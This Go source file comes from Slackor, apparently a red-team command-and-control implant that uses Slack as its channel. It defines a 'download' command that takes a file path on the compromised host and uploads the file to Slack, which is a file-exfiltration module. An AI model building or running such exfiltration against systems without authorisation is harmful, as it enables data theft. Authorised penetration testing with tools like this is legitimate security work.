github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/common/download.go (about)

     1  package common
     2  
     3  import (
     4  	"errors"
     5  	"fmt"
     6  	"path/filepath"
     7  
     8  	"github.com/Coalfire-Research/Slackor/internal/slack"
     9  	"github.com/Coalfire-Research/Slackor/pkg/command"
    10  )
    11  
    12  // Download sends the file to Slack
    13  type Download struct{}
    14  
    15  // Name is the name of the command
    16  func (d Download) Name() string {
    17  	return "download"
    18  }
    19  
    20  // Run sends the file to Slack
    21  func (d Download) Run(clientID string, jobID string, args []string) (string, error) {
    22  	if len(args) != 1 {
    23  		return "", errors.New("download takes 1 argument")
    24  	}
    25  	path := filepath.Clean(args[0])
    26  	// The download command uploads files to Slack
    27  	// Command is named from the perspective of the remote system
    28  	slack.Upload(clientID, jobID, path)
    29  	return fmt.Sprintf("Downloaded %s", path), nil
    30  }
    31  
    32  func init() {
    33  	command.RegisterCommand(Download{})
    34  }